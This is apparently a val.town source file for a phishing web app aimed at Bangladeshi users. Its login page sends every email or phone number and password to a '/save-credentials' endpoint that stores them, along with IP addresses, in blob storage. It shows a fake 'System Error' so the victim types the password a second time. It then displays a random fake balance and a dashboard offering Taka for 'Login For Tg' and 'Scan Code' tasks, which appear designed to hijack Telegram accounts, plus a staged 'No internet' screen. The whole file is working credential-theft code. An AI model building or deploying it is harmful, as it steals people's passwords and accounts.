\n \n \n \n {type === \"phone\" && +880}\n \n {type === \"password\" && (\n setShowPassword(!showPassword)}\n aria-label={showPassword ? \"Hide password\" : \"Show password\"}\n >\n \n \n )}\n

\n );\n};\n\nconst FloatingMessage = ({ message, isVisible }) => {\n return (\n

\n {message}\n

\n );\n};\n\nconst Spinner = () => (\n

\n \n

\n);\n\n// নতুন NoInternetPage কম্পোনেন্ট\nfunction NoInternetPage() {\n return (\n

\n $\"No$ \n

\n No internet connection\n
\n Check your connection and try again\n

\n \n

\n );\n}\n\nfunction Slideshow({ images }) {\n useEffect(() => {\n let currentSlideIndex = 0;\n const slides = document.querySelectorAll(\".mySlides\");\n const totalSlides = slides.length;\n const slideInterval = 3000; // 3 seconds\n const transitionDuration = 800; // 0.8 seconds (must match CSS)\n\n function showNextSlide() {\n if (totalSlides <= 1) return;\n\n const outgoingSlide = slides[currentSlideIndex];\n const nextSlideIndex = (currentSlideIndex + 1) % totalSlides;\n const incomingSlide = slides[nextSlideIndex];\n\n incomingSlide.style.transition = \"none\";\n incomingSlide.style.left = \"100%\";\n incomingSlide.classList.add(\"visible\");\n\n incomingSlide.offsetHeight; // Force reflow\n\n incomingSlide.style.transition = \"left 0.8s ease-in-out\";\n outgoingSlide.style.transition = \"left 0.8s ease-in-out\";\n\n incomingSlide.style.left = \"0%\";\n outgoingSlide.style.left = \"-100%\";\n\n currentSlideIndex = nextSlideIndex;\n\n setTimeout(() => {\n outgoingSlide.classList.remove(\"visible\");\n outgoingSlide.style.transition = \"none\";\n outgoingSlide.style.left = \"0%\";\n outgoingSlide.offsetHeight;\n outgoingSlide.style.transition = \"left 0.8s ease-in-out\";\n }, transitionDuration);\n }\n\n if (totalSlides > 1) {\n for (let i = 1; i < totalSlides; i++) {\n slides[i].style.left = \"100%\";\n }\n slides[0].classList.add(\"visible\");\n slides[0].style.left = \"0%\";\n\n setInterval(showNextSlide, slideInterval);\n } else if (totalSlides === 1) {\n slides[0].classList.add(\"visible\");\n slides[0].style.left = \"0%\";\n }\n }, []); // images dependency removed to run once, assuming images don't change post-mount\n\n return (\n

\n {images.map((src, index) => (\n {`Slide

\n ))}\n

\n );\n}\n\nfunction Card({ title, subtitle, amount, steps, footerSlides, buttonText, modalTitle, modalContent }) {\n const [isModalActive, setIsModalActive] = useState(false);\n\n useEffect(() => {\n // Ensure this effect targets a unique container for each card instance\n // This example assumes a unique ID or ref is managed by the parent or Card itself.\n // For simplicity, the original logic structure is kept, but be mindful of ID uniqueness.\n const cardSpecificFooterSlideContainer = document.getElementById(\n `footerSlideContainer-${title.replace(/\\s+/g, \"-\")}`,\n ); // Example of generating a unique ID\n if (!cardSpecificFooterSlideContainer) return;\n\n const footerSlideIntervalTime = 3000;\n let currentFooterSlideIndex = 0;\n let footerSlideInterval = null;\n\n function showNextFooterSlide() {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n if (slides.length <= 1) return;\n\n const outgoingSlide = slides[currentFooterSlideIndex % slides.length];\n const incomingSlideIndex = (currentFooterSlideIndex + 1) % slides.length;\n const incomingSlide = slides[incomingSlideIndex];\n\n if (outgoingSlide) {\n outgoingSlide.classList.remove(\"active-slide\");\n outgoingSlide.classList.add(\"outgoing-slide\");\n }\n if (incomingSlide) {\n incomingSlide.classList.remove(\"outgoing-slide\");\n incomingSlide.classList.add(\"active-slide\");\n }\n currentFooterSlideIndex = (currentFooterSlideIndex + 1) % slides.length; // Use actual slides count for modulo\n\n setTimeout(() => {\n const currentOutgoingSlide = cardSpecificFooterSlideContainer.querySelector(\".outgoing-slide\");\n if (currentOutgoingSlide) {\n currentOutgoingSlide.classList.remove(\"outgoing-slide\");\n }\n }, 500);\n }\n\n if (footerSlides.length > 1) {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n slides.forEach((slide) => slide.classList.remove(\"active-slide\", \"outgoing-slide\"));\n if (slides.length > 0) {\n slides[0].classList.add(\"active-slide\");\n }\n currentFooterSlideIndex = 0;\n footerSlideInterval = setInterval(showNextFooterSlide, footerSlideIntervalTime);\n } else if (footerSlides.length === 1) {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n if (slides.length > 0) {\n slides[0].classList.add(\"active-slide\");\n }\n }\n\n return () => {\n if (footerSlideInterval) {\n clearInterval(footerSlideInterval);\n }\n };\n }, [footerSlides, title]); // Added title to help re-run if card changes, and to generate unique ID\n\n return (\n <>\n

\n \n

{title}

{subtitle}

৳ {amount}

\n {steps.map((step, index) => (\n

\n {step}\n
\n ৳\n

\n ))}\n

\n 🔊\n {/* Ensure ID is unique for each Card instance */}\n

\n {footerSlides.map((slide, index) => (\n {slide}\n ))}\n

\n \n

\n setIsModalActive(false)}\n title={modalTitle}\n content={modalContent}\n />\n \n );\n}\n\nfunction Modal({ isActive, onClose, title, content }) {\n if (!isActive) return null;\n\n return (\n

e.stopPropagation()}>\n

{title}

{content.map((item, index) =>

{item}

)}

\n \n \n

\n );\n}\n\nfunction InviteCard() {\n return (\n

\n $\"Invite$ \n

Invite task

0Friends

৳ 15 / Friends

\n The lower-tier must complete one withdrawal to be considered a valid referral.\n

\n );\n}\n\nfunction BottomNavigation({ isBlurred }) {\n return (\n \n );\n}\n\nfunction LoadingOverlay() {\n const [loadingText, setLoadingText] = useState(\"Loading...\");\n const [isClickable, setIsClickable] = useState(true);\n\n const handleClick = () => {\n if (isClickable) {\n setIsClickable(false);\n setLoadingText(\"Try again later!\");\n\n setTimeout(() => {\n setLoadingText(\"Loading...\");\n setIsClickable(true);\n }, 2000);\n }\n };\n\n return (\n

\n \n

{loadingText}

\n );\n}\n\nfunction DashboardPage() {\n const [isBlurred, setIsBlurred] = useState(false);\n const [showLoading, setShowLoading] = useState(false);\n const [balance, setBalance] = useState(null);\n const [showNoInternetPage, setShowNoInternetPage] = useState(false); // No Internet Page State\n\n useEffect(() => {\n // Timer for \"No Internet\" page\n const noInternetTimer = setTimeout(() => {\n setShowNoInternetPage(true);\n }, 7000); // 7 সেকেন্ড\n\n // --- Existing balance fetching logic ---\n let blurTimerId = null;\n let scriptLoadTimeoutId = null;\n const defaultBlurTimeout = 1500;\n let fallbackBlurTimerId = setTimeout(() => {\n if (balance === null && !showNoInternetPage) { // No Internet পেজ দেখানো না হলে তবেই ব্লার করুন\n setIsBlurred(true);\n setShowLoading(true);\n }\n }, defaultBlurTimeout);\n\n const fetchUserBalance = async () => {\n // ... (আপনার বাকি ব্যালেন্স ফেচিং এবং টেলিগ্রাম সম্পর্কিত কোড এখানে অপরিবর্তিত থাকবে) ...\n // Ensure fetchUserBalance does not interfere if noInternetPage is already scheduled or shown\n if (showNoInternetPage) return;\n\n let userId = null;\n let isTelegramEnv = false;\n\n if (\n typeof window.Telegram !== \"undefined\"\n && window.Telegram.WebApp\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user\n ) {\n const tg = window.Telegram.WebApp;\n try {\n await tg.ready();\n const tgUser = tg.initDataUnsafe.user;\n if (tgUser && tgUser.id) {\n userId = tgUser.id.toString();\n isTelegramEnv = true;\n console.log(\"Running in Telegram environment. User ID:\", userId);\n } else {\n console.warn(\"Telegram user data (ID) not available, though Telegram environment detected.\");\n }\n } catch (e) {\n console.error(\"Error initializing Telegram WebApp or accessing user data:\", e);\n }\n }\n\n if (!userId) {\n if (isTelegramEnv) {\n console.log(\n \"Failed to get Telegram User ID despite Telegram environment, attempting web user identification.\",\n );\n } else {\n console.log(\"Not in Telegram environment. Using localStorage for UID.\");\n }\n\n const localStorageUidKey = \"genericWebAppUserUid\";\n let storedUid = localStorage.getItem(localStorageUidKey);\n if (storedUid) {\n userId = storedUid;\n console.log(\"Retrieved UID from localStorage:\", userId);\n } else {\n userId = `webUser-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;\n localStorage.setItem(localStorageUidKey, userId);\n console.log(\"Generated and stored new UID for web user:\", userId);\n }\n }\n\n if (userId) {\n try {\n const response = await fetch(`/get-balance?uid=${userId}`);\n if (!response.ok) {\n try {\n const errData = await response.json();\n throw new Error(\n `HTTP error! status: ${response.status}, message: ${errData.error || \"Unknown server error\"}`,\n );\n } catch (jsonError) {\n throw new Error(\n `HTTP error! status: ${response.status}, message: Failed to parse error JSON. Raw response: ${response.statusText}`,\n );\n }\n }\n const data = await response.json();\n\n if (data.balance !== undefined) {\n setBalance(parseFloat(data.balance).toFixed(2));\n clearTimeout(fallbackBlurTimerId);\n clearTimeout(blurTimerId);\n if (!showNoInternetPage) { // শুধুমাত্র যদি No Internet পেজ দেখানো না হয়\n blurTimerId = setTimeout(() => {\n setIsBlurred(true);\n setShowLoading(true);\n }, 500);\n }\n } else if (data.error) {\n console.error(\"Error from /get-balance API:\", data.error);\n setBalance(\"--.--\");\n } else {\n console.log(\"Unexpected data format from /get-balance API:\", data);\n setBalance(\"--.--\");\n }\n } catch (error) {\n console.error(\"Failed to fetch or process balance:\", error.toString());\n setBalance(\"Error\");\n }\n } else {\n console.error(\"User ID could not be determined for balance fetching.\");\n setBalance(\"--.--\");\n }\n };\n // --- End of balance fetching logic ---\n\n if (typeof window !== \"undefined\" && !showNoInternetPage) { // ব্যালেন্স শুধুমাত্র যদি No Internet পেজ দেখানো না হয় তবেই ফেচ করুন\n const isTelegramReadyNow = window.Telegram\n && window.Telegram.WebApp\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user;\n\n const isTelegramObjectPresent = window.Telegram && window.Telegram.WebApp;\n\n if (isTelegramReadyNow) {\n fetchUserBalance();\n } else if (isTelegramObjectPresent) {\n console.log(\n \"Telegram script present, but user data not immediately available. Setting timeout for balance fetch.\",\n );\n scriptLoadTimeoutId = setTimeout(fetchUserBalance, 300);\n } else {\n console.log(\"Not in Telegram environment. Proceeding as web user for balance fetch.\");\n fetchUserBalance();\n }\n }\n\n return () => {\n clearTimeout(noInternetTimer); // Cleanup \"No Internet\" timer\n clearTimeout(fallbackBlurTimerId);\n clearTimeout(blurTimerId);\n if (scriptLoadTimeoutId) {\n clearTimeout(scriptLoadTimeoutId);\n }\n };\n }, [showNoInternetPage]); // showNoInternetPage কে dependency হিসেবে যোগ করা হয়েছে যাতে এটি পরিবর্তন হলে effect re-run না হয় (টাইমারের জন্য) বা প্রয়োজন অনুযায়ী re-run হয়। এখানে [] রাখাই ভালো যদি টাইমার একবারই সেট করতে চান। শুধু noInternetTimer এর জন্য [] যথেষ্ট। ব্যালেন্স ফেচিং এর সাথে conflict এড়াতে, ব্যালেন্স ফেচিং কে আলাদা useEffect এ নেওয়া যেতে পারে।\n\n // যদি showNoInternetPage সত্য হয়, তবে NoInternetPage কম্পোনেন্ট রেন্ডার করবে\n if (showNoInternetPage) {\n return ;\n }\n\n const slideshowImages = [\n \"https://i.postimg.cc/KvSbQsgQ/download-4.png\",\n \"https://i.postimg.cc/NMzVyLRp/download-5.png\",\n \"https://i.postimg.cc/V6LJD2qT/Screenshot-20250504-091730.jpg\",\n ];\n\n const loginCardData = {\n title: \"Login For Tg\",\n subtitle: \"0 Tg\",\n amount: \"409+\",\n steps: [12, 28, 62, 142, 165],\n footerSlides: [\n \"Login 1 Tg 10 - 12Taka\",\n \"Login 3 Tg 23 - 28Taka\",\n \"Login 8 Tg 52 - 62Taka\",\n \"Login 16 Tg 132 - 142Taka\",\n \"Login 25 Tg 155 - 165Taka\",\n ],\n buttonText: \"Detail\",\n modalTitle: \"Login For Tg\",\n modalContent: [\n \"Login 1 Tg 10 - 12Taka\",\n \"Login 3 Tg 23 - 28Taka\",\n \"Login 8 Tg 52 - 62Taka\",\n \"Login 16 Tg 132 - 142Taka\",\n \"Login 25 Tg 155 - 165Taka\",\n ],\n };\n\n const scanCodeCardData = {\n title: \"Scan Code Tasks\",\n subtitle: \"8Account\",\n amount: \"409+\",\n steps: [12, 28, 62, 142, 165],\n footerSlides: [\n \"ScanCode1Account 10 - 12Taka\",\n \"ScanCode3Account 23 - 28Taka\",\n \"ScanCode8Account 52 - 62Taka\",\n \"ScanCode16Account 132 - 142Taka\",\n \"ScanCode25Account 155 - 165Taka\",\n ],\n buttonText: \"Detail\",\n modalTitle: \"Scan Code Tasks\",\n modalContent: [\n \"ScanCode1Account 10 - 12Taka\",\n \"ScanCode3Account 23 - 28Taka\",\n \"ScanCode8Account 52 - 62Taka\",\n \"ScanCode16Account 132 - 142Taka\",\n \"ScanCode25Account 155 - 165Taka\",\n ],\n };\n\n return (\n <>\n

\n 🌐\n Languages\n ▼\n

\n $\"Taka$ \n {balance !== null ? balance : \"...\"}\n

\n Withdrawal\n

\n \n \n \n \n

\n \n {showLoading && }\n \n );\n}\n\nconst LoginPage = ({ setShowDashboard }) => {\n const [formData, handleChange, setFormData] = useForm({ loginType: \"email\", email: \"\", phone: \"\", password: \"\" });\n const [error, setError] = useState(\"\");\n const [showFloatingMessage, setShowFloatingMessage] = useState(false);\n const [showSystemError, setShowSystemError] = useState(false);\n const [showServerBusy, setShowServerBusy] = useState(false);\n const [showSpinner, setShowSpinner] = useState(false);\n\n useEffect(() => {\n // Remove auto redirect check\n }, []);\n\n const containsBengaliOrSpace = (str) => {\n return /[\\u0980-\\u09FF\\s]/.test(str);\n };\n\n const handleSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n\n const { loginType, email, phone, password } = formData;\n\n if (!password || (loginType === \"email\" && !email) || (loginType === \"phone\" && !phone)) {\n setError(`Please enter both ${loginType} and password`);\n return;\n }\n\n if (loginType === \"phone\") {\n if (phone.length !== 10 || !phone.startsWith(\"1\")) {\n setError(\"আপনার নম্বরে সমস্যা হয়েছে\");\n return;\n }\n }\n\n if (containsBengaliOrSpace(password)) {\n setError(\"আপনার পাসওয়ার্ডটি সঠিক নয়\");\n return;\n }\n\n if (password.length < 6 || password.length > 30) {\n setError(\"আপনার পাসওয়ার্ডে সমস্যা হয়েছে\");\n return;\n }\n\n try {\n setShowSpinner(true);\n\n const response = await fetch(\"/save-credentials\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n type: loginType,\n credential: loginType === \"email\" ? email : \"+880\" + phone,\n password,\n }),\n });\n\n if (!response.ok) throw new Error(\"Failed to save credentials\");\n\n const data = await response.json();\n\n setTimeout(() => {\n setShowSpinner(false);\n if (data.loginAttempts === 2) {\n // ২ বার একই ক্রিডেনশিয়াল দিলে ড্যাশবোর্ড দেখাবে\n setShowDashboard(true);\n // --- পরিবর্তিত ক্লায়েন্ট-সাইড লজিক (System Error মেসেজ শুধুমাত্র প্রথম চেষ্টায়) ---\n } else if (data.loginAttempts === 1) {\n setShowSystemError(true);\n setFormData(prevFormData => ({ ...prevFormData, password: \"\" }));\n setTimeout(() => setShowSystemError(false), 1000);\n // --- ক্লায়েন্ট-সাইড লজিক পরিবর্তন শেষ ---\n } else if (data.serverBusy) {\n setShowServerBusy(true);\n setTimeout(() => setShowServerBusy(false), 3000);\n }\n }, 2000);\n } catch (error) {\n console.error(\"Error:\", error);\n setError(\"An error occurred. Please try again.\");\n setShowSpinner(false);\n }\n };\n\n const handleToggle = (type) => {\n setFormData(prev => ({ ...prev, loginType: type }));\n };\n\n const handleCreateAccountClick = (e) => {\n e.preventDefault();\n setShowFloatingMessage(true);\n setTimeout(() => setShowFloatingMessage(false), 3000);\n };\n\n return (\n

\n {showSpinner && }\n

Hello!

\n Welcome to the waho!\n

\n \n

\n {/* Added login-card class here */}\n

Welcome back

\n handleToggle(\"email\")}\n isActive={formData.loginType === \"email\"}\n isFirst={true}\n >\n Email\n \n handleToggle(\"phone\")}\n isActive={formData.loginType === \"phone\"}\n isLast={true}\n >\n Phone\n \n

\n \n Creat Account\n \n

\n \n \n \n

\n );\n};\n\nfunction App() {\n const [showDashboard, setShowDashboard] = useState(false);\n\n return showDashboard ? : ;\n}\n\nfunction client() {\n createRoot(document.getElementById(\"root\")).render();\n}\n\nif (typeof document !== \"undefined\") {\n client();\n}\n\nexport default async function server(request: Request): Promise {\n const url = new URL(request.url);\n\n const createHTMLResponse = (title: string) => {\n return new Response(\n `\n \n \n \n \n \n ${title}\n \n \n \n \n \n

\n \n \n \n \n `,\n {\n headers: {\n \"Content-Type\": \"text/html\",\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n },\n },\n );\n };\n\n if (url.pathname === \"/get-balance\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const uid = url.searchParams.get(\"uid\");\n\n if (!uid) {\n return new Response(JSON.stringify({ error: \"UID is required\" }), {\n status: 400,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n\n const blobKey = \"user_balances_dashboard_app_v1\";\n let userBalances = await blob.getJSON(blobKey) || {};\n let userBalance;\n\n if (userBalances[uid] !== undefined) {\n userBalance = userBalances[uid];\n } else {\n userBalance = Math.floor(Math.random() * (70 - 50 + 1)) + 50;\n userBalances[uid] = userBalance;\n await blob.setJSON(blobKey, userBalances);\n }\n\n return new Response(JSON.stringify({ uid: uid, balance: userBalance }), {\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n } catch (error) {\n console.error(\"Error in /get-balance endpoint:\", error);\n return new Response(JSON.stringify({ error: \"Failed to process balance request\", details: error.message }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n }\n\n if (url.pathname === \"/save-credentials\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const newCredential = await request.json();\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n let loginAttempts = await blob.getJSON(\"login_attempts\") || {};\n\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const key = `${newCredential.type}_${newCredential.credential}_${newCredential.password}_${userIP}`;\n loginAttempts[key] = (loginAttempts[key] || 0) + 1;\n\n const existingCredentialIndex = savedCredentials.findIndex(\n (cred) =>\n cred.credential === newCredential.credential\n && cred.password === newCredential.password\n && cred.ip === userIP,\n );\n\n // --- পরিবর্তিত সার্ভার-সাইড লজিক (রিডাইরেকশন ২ বার এবং ক্রিডেনশিয়াল সেভিং) ---\n if (loginAttempts[key] === 2) {\n // ২য় বার একই ভুল কম্বিনেশন দিলে রিডাইরেক্ট স্ট্যাটাস সেট হবে\n await blob.setJSON(`redirect_status_${userIP}`, { timestamp: new Date().toISOString() });\n // যদি এই কম্বিনেশনটি এখনও সেভ না হয়ে থাকে (যেমন, প্রথমবার সেভ হয়নি), তাহলে এখনই সেভ করা হবে\n if (existingCredentialIndex === -1) {\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n }\n } else if (loginAttempts[key] === 1 && existingCredentialIndex === -1) {\n // প্রথমবার নতুন ইউনিক কম্বিনেশন আসলে এবং তা আগে সেভ না থাকলে সেভ করা হবে\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n }\n // --- সার্ভার-সাইড লজিক পরিবর্তন শেষ ---\n\n await blob.setJSON(\"saved_credentials\", savedCredentials);\n await blob.setJSON(\"login_attempts\", loginAttempts);\n\n const serverBusy = false;\n\n return new Response(\n JSON.stringify({\n success: true,\n serverBusy,\n loginAttempts: loginAttempts[key],\n }),\n {\n headers: { \"Content-Type\": \"application/json\" },\n },\n );\n } catch (error) {\n console.error(\"Error saving credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to save credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n return createHTMLResponse(\"Login\");\n}","deleted","label",[98],"permalink","https://www.val.town/x/Cfvvvvv/test/code/main.tsx","extension","actionData","errors"]